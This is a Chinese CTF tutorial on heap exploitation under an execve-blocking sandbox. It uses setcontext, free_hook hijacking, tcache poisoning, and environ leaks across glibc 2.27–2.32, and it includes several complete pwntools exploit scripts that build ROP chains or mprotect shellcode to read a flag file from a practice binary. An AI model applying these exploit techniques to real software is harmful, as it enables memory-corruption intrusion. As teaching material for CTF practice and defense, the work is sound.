堆上的ORW

学到现在,不管是什么手段,在获得了任意地址写之后,不管是劫持hook(2.34之后就没有了),还是利用IO,我们的目标到现在仅仅只是调用system来getshell,那如果题目开沙箱禁掉execve呢,那我们应该怎么办?办法还是挺多的,我目的知道的有三种,第一种是利用enviro环境变量泄露栈地址然后往栈上写值,然后在栈/堆上放rop链,第二种就是用setcontext这个函数,利用mprotect修改堆块为可执行然后布置好shellcode,第三种就是利用IO流(这个就在IO利用手法里讲了)。

利用setcontext

我们可以看看这个函数的汇编,这个是libc2.27版本下的代码

复制代码
.text:0000000000052050 setcontext      proc near               ; CODE XREF: sub_58680+C↓p
.text:0000000000052050                                         ; DATA XREF: LOAD:0000000000009058↑o
.text:0000000000052050 ; __unwind {
.text:0000000000052050                 push    rdi
.text:0000000000052051                 lea     rsi, [rdi+128h] ; nset
.text:0000000000052058                 xor     edx, edx        ; oset
.text:000000000005205A                 mov     edi, 2          ; how
.text:000000000005205F                 mov     r10d, 8         ; sigsetsize
.text:0000000000052065                 mov     eax, 0Eh
.text:000000000005206A                 syscall                 ; LINUX - sys_rt_sigprocmask
.text:000000000005206C                 pop     rdi
.text:000000000005206D                 cmp     rax, 0FFFFFFFFFFFFF001h
.text:0000000000052073                 jnb     short loc_520D0
.text:0000000000052075                 mov     rcx, [rdi+0E0h]
.text:000000000005207C                 fldenv  byte ptr [rcx]
.text:000000000005207E                 ldmxcsr dword ptr [rdi+1C0h]
.text:0000000000052085                 mov     rsp, [rdi+0A0h]
.text:000000000005208C                 mov     rbx, [rdi+80h]
.text:0000000000052093                 mov     rbp, [rdi+78h]
.text:0000000000052097                 mov     r12, [rdi+48h]
.text:000000000005209B                 mov     r13, [rdi+50h]
.text:000000000005209F                 mov     r14, [rdi+58h]
.text:00000000000520A3                 mov     r15, [rdi+60h]
.text:00000000000520A7                 mov     rcx, [rdi+0A8h]
.text:00000000000520AE                 push    rcx
.text:00000000000520AF                 mov     rsi, [rdi+70h]
.text:00000000000520B3                 mov     rdx, [rdi+88h]
.text:00000000000520BA                 mov     rcx, [rdi+98h]
.text:00000000000520C1                 mov     r8, [rdi+28h]
.text:00000000000520C5                 mov     r9, [rdi+30h]
.text:00000000000520C9                 mov     rdi, [rdi+68h]
.text:00000000000520C9 ; } // starts at 52050
.text:00000000000520CD ; __unwind {
.text:00000000000520CD                 xor     eax, eax
.text:00000000000520CF                 retn

可以看见在0x52085的地址里的汇编代码是一堆mov,mov还是以rdi为基址,也就是我们只要控制了rdi,即可相当于控制所有寄存器,而且这个各寄存器的偏移,其实跟srop的偏移是一样的

从这个图可以看出,srop的rsp也是syscall的地址+0xa0,rdi同理,是syscall的地址+0x68,rip是syscall的地址+0xa8,这里虽然setcontext没有直接给rip赋值,但这个值他赋给了rcx,然后push rcx,并在最后有一个ret,其实跟赋值给rip区别不大。也就是说我们可以利用pwntools的SigreturnFrame()来利用setcontext函数控制各寄存器,当然也可以直接手搓。

那么关键就是要控制rdi,怎么让rdi指向的内存的值是我们可控的地址呢?在堆题里答案很简单,就是rdi要是一个堆块,什么情况下rdi是个堆地址呢?答案很简单,就是我们free的时候,rdi就是堆块地址,通过劫持freehook函数把他设为setcontext即可,接下来就是各寄存器怎么取值了,因为setcontext我们可以设置rip,这里我们可以让rip设置成mprotect,并设置好各个参数,让堆块可读可写可执行,然后在mprotect调用完后的ret给他放上我们写好shellcode的堆地址。即可跳转过去执行ORW了,并且这里因为可以直接写汇编,各种ORW都是可以用的。也可以不写汇编,直接写rop链,这就要我们控好rsp了。

下面我们还是看看题,可以在这里下PolarD&N

polarctf-unk

这题有uaf,有堆溢出,不过这题远程是2.23,要打远程的orw话可以unlink去劫持freehook,我就不演示了。

2.27下的利用

这里我的版本是2.27-3ubuntu1.5,先patchelf一下。因为2.27有tcache,比较好利用一点,思路就是先泄露出堆地址,libc基地址,打tcache attack劫持freehook为setcontext,然后就是控制各寄存器,控制rsp实现栈迁移,控制rip执行mprotect,执行完mprotect之后的ret正好跳转到我们布局好shellcode的堆块。

用setcontext写shellcode的exp如下:
复制代码
#!/usr/bin/env python3
from pwn import *
import sys
from ctypes import *
from pwncli import *
# cli_script()
#from ae64 import AE64
#from pymao import *
context.log_level='debug'
context.arch='amd64'
elf=ELF('./pwn')
libc = ELF('./libc.so.6')
# libc1=cdll.LoadLibrary('./libc.so.6')
li='./libc.so.6'
flag = 0
if flag:
    p = remote('1')
else:
    p = process('./pwn')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
slr = lambda s : p.sendline(str(s))
sd = lambda s : p.send(s)
sdr = lambda s : p.send(str(s))
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
rcl = lambda : p.recvline()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip())
i6 = lambda a : int(a,16)
def csu():
    pay=p64(0)+p64(0)+p64(1)
    return pay
def ph(s):
    print(hex(s))
def dbg():
    # context.terminal = ['tmux', 'splitw', '-h']
    gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star'
    pause()
def add(s,a):
    ru(b"choice:")
    sdr(1)
    ru(b"index:")
    sdr(s)
    ru(b"size:")
    sdr(a)
def free(s):
    ru(b"choice:")
    sdr(2)
    ru(b"index:")
    sdr(s)
def edit(s,a,d):
    ru(b"choice:")
    sdr(3)
    ru(b"index:")
    sdr(s)
    ru(b"length:")
    sdr(a)
    ru(b"content:")
    sd(d)
def show(s):
    ru(b"choice:")
    sdr(4)
    ru(b"index:\n")
    sdr(s)
tar=0x6010C0
add(0,0x420)
add(1,0x10)
free(0)
show(0)
libcbase=u6(6)-0x3ebca0
se=libcbase+libc.sym['setcontext']+53
fh=libcbase+libc.sym['__free_hook']
ph(libcbase)
add(0,0x20)
edit(0,0x11,b'b'*0x11)
show(0)
ru(b'b'*0x10)
heap=u6(4)-0x62
add(1,0x80)
add(2,0x80)
free(1)
free(2)
edit(2,0x8,p64(fh))
add(3,0x80)
add(4,0x80)
edit(4,0x18,p64(se)+p64(0)+p64(heap+0x4b0))
ph(heap)
srop = SigreturnFrame()
srop.rsp = libcbase+libc.sym['__free_hook'] + 0x10
srop.rdi = heap-0x200
srop.rsi = 0x1000
srop.rdx = 7
srop.rip = libcbase+libc.sym['mprotect']
pay=bytes(srop)
edit(0,0x200,pay)
add(7,0x500)
pay=asm(shellcraft.open('./flag',0))+asm(shellcraft.read(3,heap-0x200,0x50))+asm(shellcraft.write(1,heap-0x200,0x50))
edit(7,0x500,pay)
ph(se)
free(0)
ti()

打ROP链也一样,当然这个也可以用ROP链先调用mprotect然后再跳转到汇编。这里可以直接在setcontext里调用一个热爱的,往rsp上面写rop链,可以不用布置,当然也可以打srop,这里因为版本是2.27就直接打ret2syscall了

用setcontext写rop链的exp如下:
复制代码
#!/usr/bin/env python3
from pwn import *
import sys
from ctypes import *
#from pwncli import *
# cli_script()
#from ae64 import AE64
#from pymao import *
context.log_level='debug'
context.arch='amd64'
elf=ELF('./pwn')
libc = ELF('./libc.so.6')
# libc1=cdll.LoadLibrary('./libc.so.6')
li='./libc.so.6'
flag = 0
if flag:
    p = remote('1')
else:
    p = process('./pwn')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
slr = lambda s : p.sendline(str(s))
sd = lambda s : p.send(s)
sdr = lambda s : p.send(str(s))
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
rcl = lambda : p.recvline()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip())
i6 = lambda a : int(a,16)
def csu():
    pay=p64(0)+p64(0)+p64(1)
    return pay
def ph(s):
    print(hex(s))
def dbg():
    # context.terminal = ['tmux', 'splitw', '-h']
    gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star'
    pause()
def add(s,a):
    ru(b"choice:")
    sdr(1)
    ru(b"index:")
    sdr(s)
    ru(b"size:")
    sdr(a)
def free(s):
    ru(b"choice:")
    sdr(2)
    ru(b"index:")
    sdr(s)
def edit(s,a,d):
    ru(b"choice:")
    sdr(3)
    ru(b"index:")
    sdr(s)
    ru(b"length:")
    sdr(a)
    ru(b"content:")
    sd(d)
def show(s):
    ru(b"choice:")
    sdr(4)
    ru(b"index:\n")
    sdr(s)
tar=0x6010C0
add(0,0x420)
add(1,0x10)
free(0)
show(0)
libcbase=u6(6)-0x3ebca0
se=libcbase+libc.sym['setcontext']+53
fh=libcbase+libc.sym['__free_hook']
ph(libcbase)
add(0,0x20)
edit(0,0x11,b'b'*0x11)
show(0)
ru(b'b'*0x10)
heap=u6(4)-0x62
add(1,0x80)
add(2,0x80)
free(1)
free(2)
edit(2,0x8,p64(fh))
add(3,0x80)
add(4,0x80)
edit(4,0x18,p64(se)+p64(0)+p64(heap+0x4b0))
ph(heap)
rax=libcbase+0x1b500
rdi=libcbase+0x2164f
rsi=libcbase+0x23a6a
rdx=libcbase+0x1b96
end=libcbase+0xd2625
srop = SigreturnFrame()
srop.rsp = heap-0x200+8
srop.rdi = 0
srop.rsi = heap-0x200
srop.rdx = 0x1000
srop.rip = libcbase+libc.sym['read']
pay=bytes(srop)
edit(0,0x200,pay)
pay=b'./flag\x00\x00'+flat(rax,2,rdi,heap-0x200,rsi,0,end,rax,0,rdi,3,rsi,heap+0x300,rdx,0x100,end,rax,1,rdi,1,rsi,heap+0x300,rdx,0x100,end)
ph(se)
free(0)
sd(pay)
ti()

当然我们也可以往栈上写,我们现在的办法还是比较依赖hook函数的,往栈上写就不依赖了。这里思路就是利用tcache attack在环境变量那里申请一个堆块,而环境变量会指向栈上一个固定地址,我们算出来其距返回地址的偏移之后再打一次tcache attack申请到栈上的返回地址写rop链即可。

栈上打rop的exp如下:
复制代码
#!/usr/bin/env python3
from pwn import *
import sys
from ctypes import *
#from pwncli import *
# cli_script()
#from ae64 import AE64
#from pymao import *
context.log_level='debug'
context.arch='amd64'
elf=ELF('./pwn')
libc = ELF('./libc.so.6')
# libc1=cdll.LoadLibrary('./libc.so.6')
li='./libc.so.6'
flag = 0
if flag:
    p = remote('1')
else:
    p = process('./pwn')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
slr = lambda s : p.sendline(str(s))
sd = lambda s : p.send(s)
sdr = lambda s : p.send(str(s))
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
rcl = lambda : p.recvline()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip())
i6 = lambda a : int(a,16)
def csu():
    pay=p64(0)+p64(0)+p64(1)
    return pay
def ph(s):
    print(hex(s))
def dbg():
    # context.terminal = ['tmux', 'splitw', '-h']
    gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star'
    pause()
def add(s,a):
    ru(b"choice:")
    sdr(1)
    ru(b"index:")
    sdr(s)
    ru(b"size:")
    sdr(a)
def free(s):
    ru(b"choice:")
    sdr(2)
    ru(b"index:")
    sdr(s)
def edit(s,a,d):
    ru(b"choice:")
    sdr(3)
    ru(b"index:")
    sdr(s)
    ru(b"length:")
    sdr(a)
    ru(b"content:")
    sd(d)
def show(s):
    ru(b"choice:")
    sdr(4)
    ru(b"index:\n")
    sdr(s)
tar=0x6010C0
add(0,0x420)
add(1,0x10)
free(0)
show(0)
libcbase=u6(6)-0x3ebca0
se=libcbase+libc.sym['setcontext']+53
fh=libcbase+libc.sym['__free_hook']
st=libcbase+libc.sym['environ']
ph(libcbase)
add(0,0x20)
edit(0,0x11,b'b'*0x11)
show(0)
ru(b'b'*0x10)
heap=u6(4)-0x62
add(1,0x80)
add(2,0x80)
add(3,0x80)
free(1)
free(2)
edit(2,8,p64(st))
add(1,0x80)
add(2,0x80)
show(2)
stack=u6(6)-0x100
ph(stack)
free(3)
free(1)
edit(1,8,p64(stack))
add(1,0x80)
add(2,0x80)
rax=libcbase+0x1b500
rdi=libcbase+0x2164f
rsi=libcbase+0x23a6a
rdx=libcbase+0x1b96
end=libcbase+0xd2625
pay=flat(rax,2,rdi,stack+0xc8,rsi,0,end,rax,0,rdi,3,rsi,stack+0xc8,rdx,0x100,end,rax,1,rdi,1,rsi,stack+0xc8,rdx,0x100,end)+b'./flag\x00\x00'
ph(stack)
edit(2,0x100,pay)
ti()

2.29以上的利用

在2.29,我们的setcontext函数出现了变化

复制代码
text:0000000000055E00 setcontext      proc near               ; CODE XREF: sub_5C160+C↓p
.text:0000000000055E00                                         ; DATA XREF: LOAD:000000000000C6D8↑o
.text:0000000000055E00 ; __unwind {
.text:0000000000055E00                 push    rdi
.text:0000000000055E01                 lea     rsi, [rdi+128h] ; nset
.text:0000000000055E08                 xor     edx, edx        ; oset
.text:0000000000055E0A                 mov     edi, 2          ; how
.text:0000000000055E0F                 mov     r10d, 8         ; sigsetsize
.text:0000000000055E15                 mov     eax, 0Eh
.text:0000000000055E1A                 syscall                 ; LINUX - sys_rt_sigprocmask
.text:0000000000055E1C                 pop     rdx
.text:0000000000055E1D                 cmp     rax, 0FFFFFFFFFFFFF001h
.text:0000000000055E23                 jnb     short loc_55E80
.text:0000000000055E25                 mov     rcx, [rdx+0E0h]
.text:0000000000055E2C                 fldenv  byte ptr [rcx]
.text:0000000000055E2E                 ldmxcsr dword ptr [rdx+1C0h]
.text:0000000000055E35                 mov     rsp, [rdx+0A0h]
.text:0000000000055E3C                 mov     rbx, [rdx+80h]
.text:0000000000055E43                 mov     rbp, [rdx+78h]
.text:0000000000055E47                 mov     r12, [rdx+48h]
.text:0000000000055E4B                 mov     r13, [rdx+50h]
.text:0000000000055E4F                 mov     r14, [rdx+58h]
.text:0000000000055E53                 mov     r15, [rdx+60h]
.text:0000000000055E57                 mov     rcx, [rdx+0A8h]
.text:0000000000055E5E                 push    rcx
.text:0000000000055E5F                 mov     rsi, [rdx+70h]
.text:0000000000055E63                 mov     rdi, [rdx+68h]
.text:0000000000055E67                 mov     rcx, [rdx+98h]
.text:0000000000055E6E                 mov     r8, [rdx+28h]
.text:0000000000055E72                 mov     r9, [rdx+30h]
.text:0000000000055E76                 mov     rdx, [rdx+88h]
.text:0000000000055E76 ; } // starts at 55E00
.text:0000000000055E7D ; __unwind {
.text:0000000000055E7D                 xor     eax, eax
.text:0000000000055E7F                 retn

可以看到这个参数从rdi变成了rdx,这也就要求我们要控制rdx了,那么我们怎么办呢,有哪个函数的rdx会指向我们可控的内存区域呢?其实并没有,但有一个magic gadget,当然这个也有变体,用ROPgadget或者ropper找一下就好

复制代码
0x0000000000150550 : mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]

这里可以看见,我们rdx是rdi+8这个地址内的值,然后会call rdx+0x20,也就是call rdi+0x28,也就是我们不能像之前一样,直接用SigreturnFrame()来构造了,需要[0x28:],不过也影响不大,我们关键的寄存器都在这之后。我们把rdi设置成我们堆块的结构,然后rdi+0x28设置成setcontext即可。而往栈上写rop链是没什么区别的,区别可能也就是2.32后tache加了safe linking,主要的利用思路没什么区别。

栈上写rop链的exp如下:
复制代码
#!/usr/bin/env python3
from pwn import *
import sys
from ctypes import *
from pwncli import *
# cli_script()
#from ae64 import AE64
#from pymao import *
context.log_level='debug'
context.arch='amd64'
elf=ELF('./pwn')
libc = ELF('./libc.so.6')
# libc1=cdll.LoadLibrary('./libc.so.6')
li='./libc.so.6'
flag = 0
if flag:
    p = remote('1')
else:
    p = process('./pwn')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
slr = lambda s : p.sendline(str(s))
sd = lambda s : p.send(s)
sdr = lambda s : p.send(str(s))
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
rcl = lambda : p.recvline()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip())
i6 = lambda a : int(a,16)
def csu():
    pay=p64(0)+p64(0)+p64(1)
    return pay
def ph(s):
    print(hex(s))
def dbg():
    # context.terminal = ['tmux', 'splitw', '-h']
    gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star'
    pause()
def add(s,a):
    ru(b"choice:")
    sdr(1)
    ru(b"index:")
    sdr(s)
    ru(b"size:")
    sdr(a)
def free(s):
    ru(b"choice:")
    sdr(2)
    ru(b"index:")
    sdr(s)
def edit(s,a,d):
    ru(b"choice:")
    sdr(3)
    ru(b"index:")
    sdr(s)
    ru(b"length:")
    sdr(a)
    ru(b"content:")
    sd(d)
def show(s):
    ru(b"choice:")
    sdr(4)
    ru(b"index:\n")
    sdr(s)
tar=0x6010C0
add(0,0x420)
add(1,0x10)
free(0)
show(0)
libcbase=u6(6)-0x1e4ca0
se=libcbase+libc.sym['setcontext']+53
fh=libcbase+libc.sym['__free_hook']
st=libcbase+libc.sym['environ']
ph(libcbase)
add(0,0x20)
edit(0,0x11,b'b'*0x11)
show(0)
ru(b'b'*0x10)
heap=u6(4)-0x62
add(1,0x80)
add(2,0x80)
add(3,0x80)
free(1)
free(2)
edit(2,8,p64(st))
add(1,0x80)
add(2,0x80)
show(2)
stack=u6(6)-0x100
ph(stack)
free(3)
free(1)
edit(1,8,p64(stack))
add(1,0x80)
add(2,0x80)
rax=libcbase+0x47cf8
rdi=libcbase+0x26542
rsi=libcbase+0x26f9e
rdx=libcbase+0x12bda6
end=libcbase+0xcf6c5
pay=flat(rax,2,rdi,stack+0xc8,rsi,0,end,rax,0,rdi,3,rsi,stack+0xc8,rdx,0x100,end,rax,1,rdi,1,rsi,stack+0xc8,rdx,0x100,end)+b'./flag\x00\x00'
ph(stack)
edit(2,0x100,pay)
ti()

重要的还是用setcontext的办法,大体思路就是把freehook改成magic gadget,然后把rdi+8的位置放上布局有各寄存器值的内存地址,然后把rdi+0x20的地址换成setcontext就可以控制各寄存器,之后的操作是一样的

2.29用setcontext写shellcode的exp如下:
复制代码
#!/usr/bin/env python3
from pwn import *
import sys
from ctypes import *
from pwncli import *
# cli_script()
#from ae64 import AE64
#from pymao import *
context.log_level='debug'
context.arch='amd64'
elf=ELF('./pwn')
libc = ELF('./libc.so.6')
# libc1=cdll.LoadLibrary('./libc.so.6')
li='./libc.so.6'
flag = 0
if flag:
    p = remote('1')
else:
    p = process('./pwn')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
slr = lambda s : p.sendline(str(s))
sd = lambda s : p.send(s)
sdr = lambda s : p.send(str(s))
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
rcl = lambda : p.recvline()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip())
i6 = lambda a : int(a,16)
def csu():
    pay=p64(0)+p64(0)+p64(1)
    return pay
def ph(s):
    print(hex(s))
def dbg():
    # context.terminal = ['tmux', 'splitw', '-h']
    gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star'
    pause()
def add(s,a):
    ru(b"choice:")
    sdr(1)
    ru(b"index:")
    sdr(s)
    ru(b"size:")
    sdr(a)
def free(s):
    ru(b"choice:")
    sdr(2)
    ru(b"index:")
    sdr(s)
def edit(s,a,d):
    ru(b"choice:")
    sdr(3)
    ru(b"index:")
    sdr(s)
    ru(b"length:")
    sdr(a)
    ru(b"content:")
    sd(d)
def show(s):
    ru(b"choice:")
    sdr(4)
    ru(b"index:\n")
    sdr(s)
tar=0x6010C0
add(0,0x420)
add(1,0x10)
free(0)
show(0)
libcbase=u6(6)-0x1e4ca0
se=libcbase+libc.sym['setcontext']+53
fh=libcbase+libc.sym['__free_hook']
magic=libcbase+0x150550
ph(libcbase)
add(0,0x20)
edit(0,0x11,b'b'*0x11)
show(0)
ru(b'b'*0x10)
heap=u6(4)-0x62
add(1,0x80)
add(2,0x80)
free(1)
free(2)
edit(2,0x8,p64(fh))
add(3,0x80)
add(4,0x80)
edit(4,0x18,p64(magic)+p64(0)+p64(heap+0x4b0))
srop = SigreturnFrame()
srop.rsp = libcbase+libc.sym['__free_hook'] + 0x10
srop.rdi = heap-0x200
srop.rsi = 0x1000
srop.rdx = 7
srop.rip = libcbase+libc.sym['mprotect']
pay=flat({
0x0:0,
0x8:heap+0x60,
0x20:se},filler=b'\x00')+bytes(srop)[0x28:]
edit(0,0x200,pay)
ph(heap)
add(7,0x500)
pay=asm(shellcraft.open('./flag',0))+asm(shellcraft.read(3,heap-0x200,0x50))+asm(shellcraft.write(1,heap-0x200,0x50))
edit(7,0x500,pay)
ph(magic)
ph(se)
free(0)
ti()

写rop链也是一样就不演示了,接下来我们看2.32的,我的版本是2.32-0ubuntu3,首先是多了safelinking,还有就是setcontext的偏移不是53了而是61,在gdb里算一下就好。

2.32用setcontext写shellcode的exp如下:
复制代码
#!/usr/bin/env python3
from pwn import *
import sys
from ctypes import *
from pwncli import *
# cli_script()
#from ae64 import AE64
#from pymao import *
context.log_level='debug'
context.arch='amd64'
elf=ELF('./pwn')
libc = ELF('./libc.so.6')
# libc1=cdll.LoadLibrary('./libc.so.6')
li='./libc.so.6'
flag = 0
if flag:
    p = remote('1')
else:
    p = process('./pwn')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
slr = lambda s : p.sendline(str(s))
sd = lambda s : p.send(s)
sdr = lambda s : p.send(str(s))
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
rcl = lambda : p.recvline()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip())
i6 = lambda a : int(a,16)
def csu():
    pay=p64(0)+p64(0)+p64(1)
    return pay
def ph(s):
    print(hex(s))
def dbg():
    # context.terminal = ['tmux', 'splitw', '-h']
    gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star'
    pause()
def add(s,a):
    ru(b"choice:")
    sdr(1)
    ru(b"index:")
    sdr(s)
    ru(b"size:")
    sdr(a)
def free(s):
    ru(b"choice:")
    sdr(2)
    ru(b"index:")
    sdr(s)
def edit(s,a,d):
    ru(b"choice:")
    sdr(3)
    ru(b"index:")
    sdr(s)
    ru(b"length:")
    sdr(a)
    ru(b"content:")
    sd(d)
def show(s):
    ru(b"choice:")
    sdr(4)
    ru(b"index:\n")
    sdr(s)
tar=0x6010C0
add(0,0x440)
add(1,0x10)
free(0)
add(1,0x10)
edit(1,1,b'b')
show(1)
libcbase=u6(6)-0x1e3f62-0x100
se=libcbase+libc.sym['setcontext']+61
fh=libcbase+libc.sym['__free_hook']
magic=libcbase+0x14b761
ph(libcbase)
add(1,0x80)
add(2,0x80)
free(1)
show(1)
key=u6(3)
free(2)
ph(fh)
ph(key)
heap=key<<12
edit(2,0x8,p64(fh^key))
add(3,0x80)
add(4,0x80)
edit(4,0x18,p64(magic)+p64(0)+p64(heap+0x710))
srop = SigreturnFrame()
srop.rsp = libcbase+libc.sym['__free_hook'] + 0x10
srop.rdi = heap
srop.rsi = 0x1000
srop.rdx = 7
srop.rip = libcbase+libc.sym['mprotect']
pay=flat({
0x0:0,
0x8:heap+0x2a0,
0x20:se},filler=b'\x00')+bytes(srop)[0x28:]
edit(0,0x200,pay)
add(7,0x500)
ph(heap)
pay=asm(shellcraft.open('./flag',0))+asm(shellcraft.read(3,heap+0x300,0x50))+asm(shellcraft.write(1,heap+0x300,0x50))
edit(7,0x500,pay)
ph(magic)
ph(libcbase)
free(0)
ti()

往栈上写rop链变化不大,只是在2.32tcache有safelinking以及对申请地址的16字节对齐检查,并且因为每个tcache申请后会把他的key值(申请地址+0x8的位置)所以假如我们想申请的返回地址不是16字节对齐的,那我们就得往返回地址的低地址去申请了。比如返回地址是0x28,正常理解我们应该申请0x20这个地址对吧,但是这样会在清零key值的时候直接把返回地址清零,如果在add中不能输入的话那就会直接报错了,而这题就是如此,所以在例子里我们这里申请0x8就可以了。这题就是要往低了申请。

打栈上rop的exp如下:
复制代码
#!/usr/bin/env python3
from pwn import *
import sys
from ctypes import *
from pwncli import *
# cli_script()
#from ae64 import AE64
#from pymao import *
context.log_level='debug'
context.arch='amd64'
elf=ELF('./pwn')
libc = ELF('./libc.so.6')
# libc1=cdll.LoadLibrary('./libc.so.6')
li='./libc.so.6'
flag = 0
if flag:
    p = remote('1')
else:
    p = process('./pwn')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
slr = lambda s : p.sendline(str(s))
sd = lambda s : p.send(s)
sdr = lambda s : p.send(str(s))
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
rcl = lambda : p.recvline()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip())
i6 = lambda a : int(a,16)
def csu():
    pay=p64(0)+p64(0)+p64(1)
    return pay
def ph(s):
    print(hex(s))
def dbg():
    # context.terminal = ['tmux', 'splitw', '-h']
    gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star'
    pause()
def add(s,a):
    ru(b"choice:")
    sdr(1)
    ru(b"index:")
    sdr(s)
    ru(b"size:")
    sdr(a)
def free(s):
    ru(b"choice:")
    sdr(2)
    ru(b"index:")
    sdr(s)
def edit(s,a,d):
    ru(b"choice:")
    sdr(3)
    ru(b"index:")
    sdr(s)
    ru(b"length:")
    sdr(a)
    ru(b"content:")
    sd(d)
def show(s):
    ru(b"choice:")
    sdr(4)
    ru(b"index:\n")
    sdr(s)
tar=0x6010C0
add(0,0x440)
add(1,0x10)
free(0)
add(1,0x10)
edit(1,1,b'b')
show(1)
libcbase=u6(6)-0x1e3f62-0x100
se=libcbase+libc.sym['setcontext']+61
fh=libcbase+libc.sym['__free_hook']
magic=libcbase+0x14b761
ph(libcbase)
add(1,0x80)
add(2,0x80)
add(3,0x80)
free(1)
show(1)
key=u6(3)
free(2)
ph(fh)
ph(key)
rax=libcbase+0x45580
rdi=libcbase+0x2858f
rsi=libcbase+0x2ac3f
rdx=libcbase+0x1597d6
end=libcbase+0x611ea
st=libcbase+libc.sym['environ']
edit(2,8,p64(st^key))
add(1,0x80)
add(2,0x80)
show(2)
stack=u6(6)-0x110-8-0x40
free(1)
free(3)
edit(3,8,p64(stack^key))
pay=flat(rax,2,rdi,stack+0x100,rsi,0,end,rax,0,rdi,3,rsi,stack+0x100,rdx,0x100,0,end,rax,1,rdi,1,rsi,stack+0x100,rdx,0x100,0,end)+b'./flag\x00\x00'
add(1,0x80)
add(4,0x80)
ph(stack)
edit(4,0x300,b'b'*0x28+pay)
ti()

这个脚本不知道为啥失败的概率挺高的,不知道是不是patch的问题。

总结

这里我主要也是抛砖引玉了,实际的情况不会这么简单,但我觉得关键还是setcontext这个函数,这个函数还是挺好用的,只要我们能控制一个:第一个参数指向我们可控的内存的函数指针,不管是什么版本,都是可以通过以上手法getshell的。在2.34之前是freehook,之后是IO或者是题目自己的结构......感觉还是挺有意思的。